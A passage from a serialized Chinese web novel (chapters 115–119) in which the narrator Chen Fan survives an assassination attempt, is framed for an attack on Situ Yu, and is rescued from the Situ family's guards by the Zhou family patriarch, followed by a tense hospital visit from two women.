“很多时候,好与坏,并不是那么分明,你哥哥有他的立场和考量,我也有我的路要走,这个世界,不是非黑即白的。”
“我知道……”司徒晴低下头,道:“我只是不喜欢他们那样说你,也不喜欢你故意躲着我。”
最后一句,她说得极轻,带着浓浓的委屈。
“有些事情,你不知道更好。”我最终还是只能给出这样模糊的回答。
“可我想知道!”司徒晴猛地抬起头,眼圈微微有些发红,道:“我不想一直被蒙在鼓里,被当成什么都不懂的小孩子保护起来!我也是司徒家的人,我……”
她的话戛然而止。
因为我们同时听到了脚步声。
不疾不徐,沉稳有力,正沿着我们刚才走过的小径而来。
司徒晴的脸色瞬间变得有些苍白,下意识地往我身边靠了靠。
我也转过身,看向小径的来处。
司徒宇的身影,从一丛茂盛的龟背竹后转了出来。
他手里端着一杯香槟,步伐从容,仿佛只是偶然散步至此。
“晴儿,原来你在这里。”司徒宇的目光先落在司徒晴身上,道:“酒会还没结束,怎么一个人跑到这么僻静的地方来了?让我好找。”
司徒晴有些紧张地站直身体,小声说:“哥……里面太闷了,我和陈……陈总出来透透气。”
“哦?”司徒宇这才像是刚看到我一样,目光转了过来,道:“陈总也喜欢这里的清静?”
“花园景致不错,司徒小姐好心邀请,就过来看看。”我迎着他的目光,语气平淡。
“是吗?”司徒宇缓步走近,在我们面前站定,问道:“晴儿,你最近好像很喜欢和陈总聊天?”
他的语气依旧温和,但任谁都听得出其中的质问意味。
司徒晴的脸更白了,她有些倔强地抬起头:“我和谁聊天是我的自由!”
“当然是你的自由。”司徒宇笑了笑,伸手似乎想揉揉她的头发,却被司徒晴微微偏头躲开了。
“陈总,我妹妹年纪小,心思单纯,有时候做事说话可能不太注意分寸。”司徒宇说道。
“司徒小姐天真烂漫,何来冒犯。”我淡然回应。
司徒宇点了点头,没再说什么,只是对司徒晴温声道:“晴儿,王伯伯还在找你,想和你聊聊你上次提过的那个慈善基金的想法,你去看看吧。”
这是不容拒绝的“邀请”。
司徒晴看了看我,又看了看自己哥哥那不容置疑的脸色,眼神里充满了挣扎和不情愿,但最终还是低下头,轻轻“嗯”了一声。
司徒晴走了两步,又忍不住回头看了我一眼,那眼神复杂难言,有歉意,有不舍,还有一丝未曾熄灭的倔强。
“陈凡,离我妹妹远点!这是我最后一次警告你!”司徒宇对我恶狠狠的说道。
115危机爆发!
周叶青在这场酒会上,已经明确我是她的人,有不少宾客,也像我投来了橄榄枝。
深夜十一点,酒会正式结束,宾客们陆续离场,豪车如流水般驶离灯火辉煌的会议中心。
我与周叶青最后一批走出大门,初秋的夜风,带着凉意,吹得我醒了酒。
“看来,司徒宇对你格外关注。”周叶青坐进车里,示意司机开车,她接着说道:“你和司徒晴的一举一动,都在他的眼皮子底下进行。”
“你刚才在花园,他对你说了什么?”周叶青侧头看我,问道。
“只是闲聊几句。”我避重就轻,道:“他让我不要在接近司徒晴。”
“不高兴就对了。”周叶青淡淡道:“他要是什么反应都没有,那才可怕,以我对他的了解,他快憋不住了。”
“接下来,我会加快5G项目的推进,有周家秘卫保护你,你的安全,我并不担忧。”周叶青道:“你只要借着这个项目,在上城风生水起就好。”
我点点头,看向窗外飞速倒退的夜景,我在想,如何利用司徒晴,来激怒司徒宇,让他彻底丧失理智。
送周叶青回家,她下车前,对我叮嘱道:“回去好好休息,明天开始,招标的预备工作就要启动了,那才是真正的硬仗。”
“明白。”
送走周叶青,司机在接着送我回家。
然而,就在我的车驶离主干道,拐入那条相对僻静的林荫道时,意想不到的事情发生了。
“陈先生,后面有车跟了我们两条街了。”开车的司机是白起安排的人,是秘卫,代号山魈!
我透过后视镜看去,一辆没有开车灯的黑色越野车,恰到好处的跟着我们。
“能甩掉吗?”我沉声问。
“有点麻烦,这条路车少,对方很专业。”山魈冷静地判断,道:“要不要呼叫支援?白哥的人就在附近。”
“先不用。”我大脑飞速运转。
我在想,跟踪我的人,到底是谁,是司徒宇么?
“加速,前面第三个路口左转,那里有个小型物流园,晚上很空,摄像头也少。”我迅速做出决定。与其在开阔地带被动,不如选个相对可控的环境。
“明白。”山魈猛踩油门。
后面的黑色越野车显然没料到我们会突然加速,但也立刻反应,引擎轰鸣着追了上来,不再掩饰行踪!
两辆车在寂静的林荫道上展开追逐,轮胎摩擦地面发出刺耳的声音,打破了深夜的宁静。
很快,第三个路口到了。
山魈一个漂亮的甩尾,车子拐进了物流园的区域。
黑色越野车紧随其后冲了进来。
“停车!”我低喝一声。
山魈猛地踩死刹车,我推开车门,翻滚下车,利用车身作为掩体,山魈同样身手敏捷地翻身到了车头另一侧。
黑色越野车在我们前方二十米处一个急刹停下,车门砰然打开,三个穿着黑色作战服的男人跳下车,他们手中赫然拿着砍刀!
没有警告,没有喊话。
三个人冲了过来!
他们的速度极快,在我看见刀影的时候,那刀,已经要砍到了我的身上!这就是要我命来的!
这几个人,绝对不是简单的打手,他们更像是雇佣兵!
我甚至觉得,我一个人很难抗衡这三个人。
对方三人立刻分散成三角阵型,呈扇形向我包抄过来,动作配合默契。
“陈先生,坚持住!支援三分钟到!”山魈躲在集装箱后,对着微型耳麦急促呼叫。
刚才停车前,他已经悄然发出了求援信号。
三分钟!在这种迅猛的攻击下,我怕是很难撑到啊!可我的身体依旧在和他们对抗!
就在这时,几辆车忽然冲了进来!
刺眼的远光灯笔直地照向了那三个杀手!
杀手们立刻捂住了眼睛,趁着这个机会,我和山魈同时钻进了车里。
“快走!”我命令道。
山魈立刻发动汽车,一个原地掉头,直接开出了仓库区!
我回头一看,只见那三辆车直接撞向了那三个杀手!
“这又是谁呢?”我心中泛起了嘀咕。
是来救我?
还是别有目的?
山魈这一路上疯狂开车,他不停的盯着后面,发现没有人跟来,他才放心。
“陈先生,你没事吧?”
“没事。”我深吸一口气,道:“去找白起!”
“好!”
我现在能够商量的人,就只有白起!
因为有些事情,他可以做,但周叶青不能做!
我来到白起的办公室,他现在不在办公室,我坐在沙发上不停的抽烟,直到凌晨三点,他才回来。
白起看着我说道:“你的事,我知道后第一时间就去调查了!”
“结果怎么样?”我继续说道:“好像是两拨人!”
“第一批三个杀手,用的是境外黑市流通的制式装备,风格像是雇佣军‘灰狐’,但还没确认,他们尸体上有被后来者补枪的痕迹,干净利落,没留活口。”
“后来那批人呢?”我追问道。
“那三辆改装车是黑车,套牌,在城北一个报废厂偷的,人全部消失,现场处理得非常干净,除了弹壳,没留下任何能追踪身份的线索。连监控都被提前破坏了。”
白起顿了顿,声音低沉,道:“但是,我们的人在更外围的垃圾桶里,发现了这个。”
他递过来一个证物袋,里面印有电子元件的LOGO。
我接过袋子,仔细看去,心里一惊:这个图案,不就是凡颜资本的公司LOGO吗!
这不是简单的刺杀,这是一场精心设计的嫁祸!
螳螂捕蝉黄雀在后,有人想要杀我,又怕杀不死,然后让最后一批人来杀了所有人,最后在现场留下指认我的证据,这个锅,他们已经准备扣在我的头上!
“真特么阴险,白哥,我需要调查清楚……”
我的话还没有说完,周叶青的电话就打了进来!
我立刻接通。
电话那头,周叶青声音凝重道:“陈凡,司徒宇在回家路上遭遇伏击,他重伤昏迷,刚刚送进ICU!”
我的大脑“嗡”的一声!
“什么时候的事?”我急问。
“就在十五分钟前!和你遇袭的时间几乎重叠!”周叶青语速极快,道:“地点在西山隧道!现场极其惨烈,他的保镖死了两个,司机当场死亡!对方用的是重火力!而且……”
她深吸一口气,一字一句地说道:“警方在爆炸现场外围,发现了一个幸存的袭击者同伙,重伤垂危,但在昏迷前,反复用外文喊着一个词……”
“什么词?”我的心不断下沉。
“那个词是……陈!”周叶青的声音冰冷彻骨,“现在,所有矛头,所有怀疑,全都指向了你!你现在马上来我家!”
电话挂断,我知道,此刻只有周家能保我!
连环杀局!
声东击西!
一石二鸟!
我和司徒宇,同时成了猎物。而真正的猎手,隐藏在更深的黑暗里,狞笑着拨动了所有棋子。
白起显然也从我的表情和周叶青高昂的声音中猜到了大概,他的脸色变得极其难看。
“陈老弟,我们必须立刻……”
他的话没说完,公寓楼下,已经传来了刺耳的刹车声!
我走到窗边,掀开窗帘一角。
其中一辆黑色轿车旁,站着一个人。即使隔着一段距离和夜色,我也能认出那阴鸷的身影和冰冷的目光。
司徒鸣。
他亲自来了。
116司徒晴来救我!
“他们到了。”白起声音冰冷道。
白起掀起窗帘,楼下,许多影影绰绰的人影在黑暗中晃动,数量庞大。
“司徒鸣应该是调动了司徒家的暗卫,足有百人之多!”
司徒鸣站在最前方,他仰着头,目光盯着我的所在楼层,我看不清他的脸,不过,我可以想象他此刻的愤怒。
啪嗒!
只听一声响!
一阵电闸跳动的声音响起,整个小区瞬间陷入了黑暗之中!
“他们弄断了电闸,手机信号也被中断了!”白起摆弄着手机,他刚想打电话告诉周叶青,可电话却一直无信号。
“冲出去的可能性?”我快速问道。
呆在这里,就只能是被瓮中捉鳖,那上百人冲上来,这里的房门能抵挡几轮攻击?
“正面低于10%。”白起迅速评估道。
“能联系上周家秘卫吗?”我问道。
现在能和司徒家暗卫抗衡的,就只有周家的秘卫。
“联系不上,信号可能被屏蔽或干扰。”白起尝试了几个紧急联络方式,均告失败。
我的心沉到了谷底,司徒鸣这是要动真格的,不惜一切代价,将我彻底清除!
“陈凡!”楼下,司徒鸣的声音通过扩音器传来。
“陈凡,给你一分钟,你必须马上下楼!”
司徒鸣的声音在漆黑的夜晚里回荡。
“跟他走?”我冷笑一声:“跟他走的话,我还有活命的机会吗?”
“怎么了?发生什么事情了?”
卧室的门被推开,林薇儿从里面探出头问道。
“薇儿,回去,锁好门,无论听到什么动静都不能出来!”我语气严厉道。
林薇儿咬了咬嘴唇,然后点了点头,将房门反锁。
“不能在这里动手。”我看了一眼林薇儿的房门道:“这里有她在,不方便,更何况楼道狭窄,施展不开,更容易被堵死,下楼,去街上,空间大,或许有一丝的变数!”
“可以一试!”白起没有任何的表情。
“是。”白起没有任何异议,如同最精密的武器。
我和白起没有选择电梯,而是选择走楼梯。
一楼,防火门外,已经被司徒家的人用手电照的灯火通明。
我们没有选择电梯,那简直是移动的铁棺材。推开厚重的防火门,沿着安全楼梯,一步一步向下走去。脚步声在空旷的楼梯间回响,异常清晰,每一步都像是踩在心跳的鼓点上。
一楼,防火门外,就是被警灯照得如同白昼的大堂和街道。
“白哥,动手?”我问道。
“可以!”白起淡淡一道,好像再说一件小事一样。
我朝白起使了一个颜色,然后,我推开了那扇沉重的防火门。
刹那间,超过二十道刺眼的光柱同时聚焦在我和白起身上!
强烈的光线让我下意识地眯起了眼睛,空气中弥漫着紧张到极点的气氛,我和白起并肩走出公寓楼,站在台阶上。面前,是黑压压的暗卫,将整个小区围的水泄不通!
我们两人,面对着这铜墙铁壁般的包围圈,如同暴风雨中两叶孤舟。
司徒鸣就站在警察防线后面,距离我不到十五米。看到我走出来,他一脸阴沉的走了过来。
“陈凡,算你识相。”他挥了挥手,两个暗卫走了过来,他们手里拿着手铐。
“司徒鸣,你儿子遇袭,与我无关,这就是栽赃陷害!”我开口说道。
“是不是栽赃,你说了不算。”司徒鸣阴沉道:“证据、证人,都指向你,现在,你跟我们走,或许还能少受点苦,否则……”他目光扫过我和白起,又看了看我们身后的大楼,意有所指道:“这栋楼里,可不只你一个人。”
他在用林薇儿威胁我!
我眼神骤然冰冷道:“你敢动她一根头发,我保证,司徒家会付出百倍的代价。”
“代价?”司徒鸣像是听到了天大的笑话,道:“陈凡,你以为你是什么东西?一个靠女人上位的瘪三,侥幸得了点地盘,就敢跟我司徒家叫板?今天,我就要让你知道,在上城,谁才是天!”
他猛地一挥手:“拿下!死活不论!”
那两名走过来的暗卫闻言,眼中凶光一闪,脚下陡然加速,如同猎豹般扑来!动作快如闪电,一左一右,分别抓向我的双臂,用的是极其狠辣的擒拿手法,显然是想瞬间制服我!
几乎在他们动的同时,白起也动了!
他比暗卫更快!身体如同鬼魅般横移半步,挡在我侧前方,他的左手精准地叼住了右侧暗卫的手腕,发力一拧!同时右腿如同钢鞭般无声扫出,直取左侧暗卫的膝盖!
“砰!”“咔嚓!”
两声闷响几乎同时响起!
右侧暗卫手腕被拧脱臼,闷哼一声踉跄后退。
左侧暗卫反应稍快,抬腿格挡,却觉得一股磅礴大力传来,小腿骨剧痛,也被逼退!
白起一招逼退两人,身形稳如泰山,挡在我身前,他身上那股凛冽的杀气,却让前方所有人为之一窒!
“司徒鸣……你想带走我,滥用私行?你做梦!”我站在白起身后,声音冰冷道。
“放肆!”司徒鸣脸色铁青,他没想到我身边这个不起眼的疤痕男身手如此恐怖,更没想到我敢如此当众挑衅他。
“给我上!拿下这两个狂徒!”司徒鸣厉声吼道。
随着他一声令下,司徒家的暗卫如同开闸的洪水,嚎叫着冲了上来!
尤其是那六名核心暗卫,他们身形闪动,如同鬼魅般穿插在人群中,他们手握短刀,刺向我和白起的要害!
真正的围攻,开始了!
“退后!”白起低吼一声,将我往后一推,他却迎着最先扑到的两名暗卫冲了上去!他的拳头精准狠辣地砸向对手的关节和太阳穴!
“砰砰!
两名暗卫以更快的速度倒飞回去,满脸鲜血。
但更多的人涌了上来!刀光、棍影,如同潮水般将我和白起淹没。
我也没有闲着,我夺过一根砸来的钢管,反手就砸碎了一个打手的肩胛骨,侧身躲过一把劈来的砍刀,肘击狠狠撞在另一个人的肋下,传来清晰的骨裂声!
鲜血,开始飞溅。
怒吼声,惨叫声,金属碰撞声,骨头断裂声……瞬间充斥了整个小区!
我和白起背靠着背,在这上百人的围攻中,承受着一波又一波狂暴的冲击!
白起的身手太恐怖了,他就像一台精准而高效的杀戮机器,每一次出手都必然有人倒下,非死即残,他几乎吸引了大部分暗卫和精锐打手的攻击。
而我,压力同样巨大!
围攻我的人越来越多,他们前仆后继,钢管、砍刀、甚至链条,从四面八方袭来!
我的西装很快被割破,我身上也添了几道血口,这伤口让我钻心的疼。
但我知道,我不能倒!我若是倒下,我不但完了,就连我的女人,也跟着一起完蛋!
忽然,我胸口的古玉在震动,一股股的热流涌进了我的身体里,一时间,我感觉不到疼痛。
我看着眼前的敌人,他们的每一招,我都看的清清楚楚,犹如慢动作回放。
我脑海中只有战斗技巧,我每一拳,都倾尽全力!
“给我上,一起上!”
司徒鸣一声令下,一百多人蜂拥而上!
绝境!
难道今天,我陈凡,真的要死在这里了吗?
“住手!爸,你在做什么!”
117对司徒晴下手?
一个清脆的女生从人群中传来。
我循声望去,竟然是司徒晴。
她穿着一身睡衣,就跑了过来,显然她是得知消息,就急匆匆的赶过来。
“晴儿,你来这里做什么?赶快回去!”司徒鸣厉声呵斥!
“爸,你为什么调动暗卫对付陈凡?他怎么了?”司徒晴质问道。
“他杀你大哥,你大哥现在还在急救室!”司徒鸣狠狠的说道。
“不!这绝对不可能!”司徒晴言辞激动道:“爸,陈大哥绝对不是那样的人,他怎么可能会对大哥下手?”
司徒晴坚定的选择我,这点着实让我意外。
因为司徒晴的出现,暗卫们停止了手上的动作,他们当然认识司徒家的大小姐。
“怎么不会,人证物证都在!”司徒鸣怒道:“把小姐给我带走!”
“谁敢带走我!”司徒晴挡在我的面前,道:“爸,难道,陈大哥就不是被栽赃陷害的吗?”
“你!”司徒鸣被司徒晴气的说不出来话。
这一刻,我对司徒晴倒是刮目相看,她脑子绝对够用,也绝对不是傻白甜,她都能想到我是被陷害的,司徒鸣想不到么?
这一切,或许是司徒鸣故意为之!
“总之,我今天在这里,我不会让你动陈凡的,哥哥的事情,我也担心,但我相信凶手有别人!”司徒晴张开双臂,面对司徒鸣说道。
司徒鸣对着司徒晴身后的暗卫使了一个眼色,那暗卫直接走上前,一个手刀过去,将司徒晴砍晕了。
“送小姐回家。”司徒鸣道。
这一幕,让我心寒!
作为一个父亲,竟然将女儿打晕,司徒鸣果然足够无情!
“司徒鸣!竟然对自己的女儿动手,你还配当一个父亲吗!”我用尽力气,发出一声嘶吼!
司徒鸣眼神一寒:“一起上,不留性命!”
终于,司徒鸣发话了,他果然是要将我置于死地!
他身后所有的暗卫都疯狂扑上来!
我已经毫无退路,只有拼死一战!
就在这千钧一发之际——
“住手!!!”
一个苍老、威严,却又带着不容置疑力量的声音,如同惊雷般,骤然在小区内炸响!
紧接着,是更加沉重、更加密集的引擎轰鸣声!
一排排挂着特殊牌照的越野车,开了进来,刺眼的远光灯,将小区照的雪亮!
车门轰然打开!
率先跳下来的,是十几个穿着没有任何标识的黑色特战服、脸上涂着油彩、气息比司徒家暗卫更加精悍肃杀的男人!
而最后,从中间那辆越野车的副驾驶上,缓缓走下一个穿着普通中山装、头发花白、面容矍铄的老者。
他手中拄着一根黄杨木手杖,步履稳健,目光如同鹰隼般扫过全场,最终定格在脸色剧变的司徒鸣脸上。
刚才那声“住手”,正是出自他口。
“是周家老爷子,他来了!”白起眼中难掩兴奋道:“小姐竟然把老爷子搬出来了!”
周家老爷子,周镇山!
所有暗卫都停下了动作,他们不敢在乱来,可见周镇山的威慑力有多大。
我看向了司徒鸣,他现在的脸色已经难看道了极点,他看着周镇山,眼神里满是深深的忌惮。
周镇山没有看他,而是将目光转向我,上下打量了一番,眼神复杂,有审视,有惊讶,最终,化为一声意味不明的轻叹。
“司徒家的……”他缓缓开口,声音不大道:“火气,太大了点。”
司徒鸣微微一愣,他当然听出来周镇山话里的意思,是在嫌他做的太过分了。
“周……周老?您怎么来了?”司徒鸣的声音干涩,带着他自己都未曾察觉的一丝微颤。
周镇山虽然退休多年,但余威犹在,更重要的是,他代表的是周家,这是在上城跺一跺脚,都要震一震的人。
“我要是不来,这里是不是就要被你司徒家给染红了?上城,什么时候变成你司徒鸣的刑场了?”周镇山开口,声音不高,却威慑力十足!
司徒鸣的脸皮抽搐了一下,强笑道:“周老言重了!实在是陈凡此人穷凶极恶,他设计袭击我儿子,我迫不得已,才这样!”
“不得已?”周镇山打断他,道:“用上百号人围攻两人,现在又动用私兵当街围杀?司徒鸣,你儿子遇袭,自然有法律去查,你什么时候能代表法律了?”
句句诛心,直指核心!
司徒鸣被噎得一时语塞,脸色阵青阵白。
“周老……”司徒鸣咬了咬牙,试图找回一点主动权,道:“我儿子现在躺在ICU,生死未卜!此仇不共戴天!任何与此事有关联的嫌疑人,我司徒家都绝不会放过!这是私仇,也是公愤!即便您是周老,也不能阻挡我替儿子讨个公道吧?”
周镇山却只是淡淡地看了他一眼:“公道,自有公论,不是靠刀枪和人多来论的,你儿子遇袭,我很遗憾,但把气撒在一个刚刚也遭遇不明袭击、自身难保的年轻人身上,还动用了不该动用的力量,这就是你司徒家的公道?”
他再次提到了我遇袭!
这是周叶青传递的信息,显然周镇山也掌握了。
“谁知道他那是不是苦肉计!或者是为了灭口同伙!”司徒鸣厉声道,矛头直指我。
“是与不是,需要证据,需要调查。”周镇山的声音陡然加重道:“不是你司徒鸣一张嘴,就能定的罪!”
他环视四周,语气斩钉截铁道:“今晚的事,到此为止,陈凡,我带走,他身上的伤需要处理,该接受的调查,我会让他配合。”
周镇山用手杖点了点司徒鸣,道:“带着你的人,立刻离开,这里的事情,我会亲自过问。”
这两个决定,如同两道惊雷,炸响在司徒鸣耳边,也炸响在所有人心头!
周镇山出面,他不惜与司徒家为敌,也要保我,这代表的是整个周家的态度!
司徒鸣的脸色瞬间变得极其难看,如同吃了苍蝇一般。
他眼神阴鸷地盯着周镇山,胸膛剧烈起伏,显然愤怒到了极点,却又不敢发作。
“周老……这是要为了一个外人,与我司徒家为敌吗?”司徒鸣从牙缝里挤出这句话,做最后的试探和威胁。
周镇山面无表情道:“我维护的是上城的规矩,是不是与谁为敌,而是不容许有人破坏规矩,司徒鸣,你好自为之。”
周镇山说完,不再看司徒鸣,转向我,语气缓和了一些,道:“陈凡,能走吗?”
我深吸一口气,压下浑身的剧痛和翻腾的气血,站直身体,对周镇山微微躬身道:“多谢周老,我可以。”
“好,那就跟我一起吧。”
周镇山说完,拄着拐杖,走向了越野车,我则听话的跟在他的身后……
118周家令牌!
我和白起同时上了车,白起的身上也有挤出伤口在渗血,尽管坐上了车,他的眼神依旧警惕的扫视四周。
吱吱!
越野车队的车寻思调转方向,发动机的轰鸣声,响彻在小区里。
周镇山坐在副驾驶,闭目养神,仿佛刚才的事情没有发生一般。
“去静水山庄。”周镇山忽然开口,报出一个地名。
车子立刻改变方向,朝着上城远郊的方向驶去。
大约过了三十分钟后,车队驶入了一片位于山麓,环境极为优雅的庄园,这个庄园占地面积很大,守卫森严。
车队经过数道明岗暗哨,最终在一座三层小楼停下。
这里,应该就是周家真正核心的位置,也是周镇山常年静养的地方。
“老爷,您回来了。”管家急忙上前,为周镇山开门。
“这位是老管家,周叔,跟随周老爷大半辈子了。”白起小声的告诉我。
我懂白起的意思,在周家,这个周叔是个有分量的人。
“陈先生,你的房间已经安排好,会有专业的医生卫你诊疗。”
周叔让专门的人带着我和白起去了二楼的房间,这里,早就有医生和护士在等着。
我的伤,有些重,白起的伤,则是皮外伤。
处理完伤口,周叔走了进来,道:“陈先生,老爷有请。”
“好,劳烦周叔带路。”我笑着打着招呼,心里却在想,周镇山这个时候,找我是为了什么?
“陈先生,在你修养的这段时间,有什么需要,你可以尽管和我提,我都会安排好。”
“谢谢周叔。”
“周老在书房等你。”
“好!”
我轻轻敲了敲门。
“进来吧。”
在得到周镇山的允许后,我推开门,礼貌道:“周老,您找我?”
此时的周镇山,已经换上一套棉麻唐装,他坐在一张紫檀木书桌后面,正在沏茶。
周镇山已经换上了一身舒适的棉麻唐装,坐在一张宽大的紫檀木书桌后面,正在沏茶。书房里弥漫着淡淡的檀香和茶香,古色古香,与刚才街头的血腥暴力形成了两个极端的世界。
“坐。”周镇山指了指书桌对面的椅子。
我听话坐下,腰背挺直,尽管我身上有多处疼痛,但在他面前,我不愿露出丝毫疲态。
周镇山将一杯泡好的茶推到我面前,然后抬眼,目光平静的看着我,说道:“说说吧,今晚到底怎么回事?从头到尾,不要漏掉任何细节,尤其是,你遇袭那一段。”
他的语气平和,但带着一种不容置疑的命令感。
我没有隐瞒,将酒会结束后回家途中被疑似雇佣兵伏击,以及后来的搅局者出现,我原原本本地叙述了一遍,我还特别说明遇袭现场有类似凡颜资本的LOGO。
周镇山静静地听着,脸上没有任何表情,只是手指在光滑的扶手上轻轻敲击着。
等我全部说完,他沉默了片刻,才缓缓道:“你怀疑,袭击你和袭击司徒宇的,可能是同一伙人,或者说,是同一个幕后主使策划的两场戏?目的是同时打击你和司徒宇,并让你背锅?”
“这是最大的可能性了。”我沉声道道:“首先,我和司徒宇同时遭遇袭击,时间点太巧合,更何况手法都倾向于专业化,而且指向我的‘证据’出现得过于刻意。”
周镇山点了点头,端起茶杯抿了一口,放下,目光深邃道:“那你觉得,这个幕后主使,会是谁?”
“能够调动雇佣兵,同时攻击我和司徒宇的人,在上城应该不多,或者说敢对司徒家的人动手的人不多。”
我没有说完,但意思已经很明显。
有能力,有动机,并且最希望看到我和司徒家鹬蚌相争的……
书房里再次陷入沉默。窗外,夜色深沉,山风穿过竹林,发出沙沙的声响。
良久,周镇山才轻轻叹了口气,眼神变得有些复杂:“看来,上城这潭水,比我想的还要浑,还要深。有人已经等不及了。”
他没有明确肯定我的猜测,但话语中的意味,已经不言而喻。
“周老……”我小心的问道:“您今晚亲自出面,司徒家那边……”
“司徒鸣是个疯子,但司徒家不是只有疯子。”周镇山淡淡道,道:“我出面,是告诉他们,也告诉所有人,上城的规矩还在,动你,就是动周家定下的规矩。司徒家内部,不是铁板一块,司徒宇重伤,对某些人来说,未必是坏事,司徒鸣今晚的疯狂举动,恐怕已经引起了一些人的不满和警惕,他暂时,不敢再明着乱来。”
我点了点头,然后起身,向周镇山致谢道:“周老,谢谢您今日的搭救之恩,晚辈不敢忘记!”
周镇山微微一笑道:“我救你出来,不代表你安全了,司徒宇遇刺的真相一日不水落石出,你这口黑锅就一日摘不掉,而且,那个真正的幕后黑手,一击不中,必定还有后招,你接下来,打算怎么办?”
“查!”我毫不犹豫道:“我一定要查清幕后黑手!越是这个时候,越不能退缩!5G的项目不能停,城西的整合要继续。”
周镇山眼中闪过一丝微不可察的赞赏,但很快又被凝重取代道:“查,可以,但光靠你和白起,还有城西那些人,不够,对方在暗,手段狠辣,背景可能深不可测。”
他沉吟片刻,似乎在做一个重要的决定。
“叶青那丫头,对你评价很高,白起,也对你服气。”周镇山缓缓说道:“我老了,周家未来的路,需要年轻人去闯,这次,你处理城西和应对袭击的表现,还算有点样子。”
他拉开书桌抽屉,取出一个看起来有些年头的、不起眼的黑色金属令牌,上面刻着一个古朴的“周”字,以及一些复杂的云纹。
他将令牌推到我的面前,道:“这个你拿着。”
我疑惑地看着令牌,道:“周老,您的意思是?”
“但凭此令,在上城及周边三省,周家暗地里的一些情报网络和外围力量,你可以有限度地调用,白起会协助,记住,你只能用于查明真相和自卫,不可滥用,更不可用来主动挑起争端。”
我心中一震!这几乎等同于周家将部分暗中的资源向我开放!这不仅仅是信任,更是一种沉重的责任和期待!
我郑重地双手接过那块令牌,感激道:“多谢周老信任!陈凡,定不负所托!”
周镇山摆了摆手,道:“去吧,好好养伤,叶青明天会过来看你,具体的事情,你们商量着办,记住,你现在是众矢之的,每一步,都要走稳,看准。”
我起身,再次躬身行礼,然后退出了书房……
119林薇儿VS司徒晴!
翌日。
阳光透过百叶窗,照射在我的脸上。
我靠在病床上,左胳膊缠着厚厚的绷带,伤口的疼痛阵阵传来。
“吱!”
房间的门被推开,周叶青走了进来。
她今天穿的是一身简约的深灰色套装,手里提着一个精致的果篮,她的脚步依然利落,但看向我的眼神里,竟然有一丝的关切。
“感觉怎么样?”她把果篮放在床头柜上,拉了张椅子坐下,道:“看你的气色应该没什么问题。”
“托你的福。”尽管手臂上依旧疼痛,我还是笑着问道:“司徒宇那边怎么样?”
“刚出抢救室,进了重症监护室观察,医生说至少还要两三天才能完全脱离生命危险。”
周叶青顿了顿,身体前倾,压低声音道:“袭击者目标很明确就是你和司徒宇,但他们选择的时机和地点太过精准,就像事先知道你们会在那里见面一样。”
我心头一沉,那晚回家的路径,都是自己人才知道。
“内鬼?”我问道。
“或者,有人在我们身边布了监控网。”周叶青的手指轻轻敲击着椅子的扶手,道:“我已经让人去查了,但这件事很奇怪——如果对方想杀你们,完全可以选择更好的机会和武器,这次袭击更像是挑衅。”
“挑衅?”我皱起眉头。
周叶青的眼神深邃,道:“挑衅你和司徒宇的之间的关系,显然他们做到了,司徒鸣已经开始对你大开杀戒。”
“我现在是周家的代言人,他们挑拨我和司徒宇,就是在挑拨周家和司徒家,在上城,究竟谁有这个实力?”
我的话让周叶青也陷入了沉默,她这么聪明,当然也猜到了这一点。
“你说的,我会去着手调查,我会将上城的关系网进行一次大洗牌。”周叶青忽然开口,表情变得很微妙,道:“我来之前,遇到了两个人,她们都说要来看你。”
我心里涌起不祥的预感:“谁?”
话音未落,病房的门再次被推开。
林薇儿走了进来,她今天穿着一件米白色的针织连衣裙,手里抱着一束洁白的百合,她的眼睛有些红肿,显然是哭过,看到我时,眼神里满是心疼和担忧。
“陈凡……你没事吧!”她的声音轻柔,带着哽咽,道:“你昨晚真的是吓死我了。”
她的话还没说完,另一个身影就出现在了门口。
竟然是司徒晴。
她穿着简单的牛仔裤和白色卫衣,头发扎成马尾,脸上没有任何妆容,看起来有些憔悴。
她的手里也拿着一束花是淡紫色的,看到病房里的情况,她的脚步顿住了,眼神在我、林薇儿和周叶青之间转了一圈。
气氛瞬间变得微妙起来。
林薇儿显然认出了司徒晴,她的身体微微一僵,抱着百合的手指收紧了些,而司徒晴的目光落在林薇儿身上,又看了看她手中的花,脸上的表情复杂难辨。
周叶青坐在椅子上,好整以暇地看着这一幕,嘴角甚至微微上扬,完全是一副看好戏的姿态。
“我……我是不是来得不是时候?”司徒晴站在门口,声音有些迟疑。
“进来吧。”我叹了口气,知道这场面躲不过了,于是说道:“门开着就是让人进的。”
司徒晴这才走进来,将花放在床头柜的另一侧——与林薇儿的百合形成了某种微妙的对称,她看着我胳膊上的绷带,眼神里满是关切和自责。
“陈大哥,对不起,如果不是因为我哥的事情,你也不会被我父亲袭击。”
“跟你没关系。”我打断她,道:“袭击者另有他人,我和你哥不过就是被人利用的棋子。”
“可他现在躺在ICU里!”司徒晴的声音突然激动起来,道:“医生说他差点就……陈大哥,这到底是怎么回事?你们为什么会惹来这种杀身之祸?”
她的问题直指核心,病房里的空气几乎凝固了。
林薇儿轻轻放下百合,走到我床边,温柔地整理了一下我的被角,这个动作自然而亲密。
忽然林薇儿抬起头看向司徒晴,声音依然轻柔,却带着一种不容置疑的坚定道:“司徒小姐,陈凡需要休息,这些问题,等警方调查结果出来再说吧。”
司徒晴的脸色变了变,她直视林薇儿道:“林小姐,我不是在质问他,我只是想知道真相!我哥现在生死未卜,我有权利知道发生了什么!”
“那你应该去问你哥,或者问警方,而不是在这里打扰病人的休息!”林薇儿的声音依然平静,但眼神已经冷了下来。”
我不由得一阵头大,我原本以为,这两个单纯的女孩,可以成为朋友,结果没想到竟然演变成了修罗场。
我只能将目光投向周叶青,希望她能出手相助,解决这个修罗场。
周叶青轻轻咳嗽了一声,似乎在掩饰笑意,她站起身,走到窗边,背对着我们,仿佛在欣赏窗外的风景,但我知道她一个字都不会漏听。
“我没有打扰他。”司徒晴深吸一口气,努力让自己平静下来,道:“陈大哥,你真的不知道是谁干的吗?一点线索都没有?”
我看着眼前的两个女人,突然感到一阵疲惫,肩上的伤口疼痛加剧,但更让我头疼的是这复杂的局面。
“我不知道。”我的声音有些沙哑,“如果我知道,就不会躺在这里了。”
林薇儿立刻察觉到我声音里的疲惫,她转身对司徒晴说:“司徒小姐,你看,陈凡累了,要不你先回去吧,等他好一点再说?”
这句话听起来客气,实则是在下逐客令。
司徒晴的脸色彻底沉了下来,她的目光在我和林薇儿之间来回扫视,最后定格在林薇儿放在我床边的手上。
她的眼睛里闪过一丝受伤,但很快被倔强取代。
“好,我走。”她转身,但在门口停下,背对着我说道:“陈大哥,等你好了,我们再谈,还有……好好养伤。”
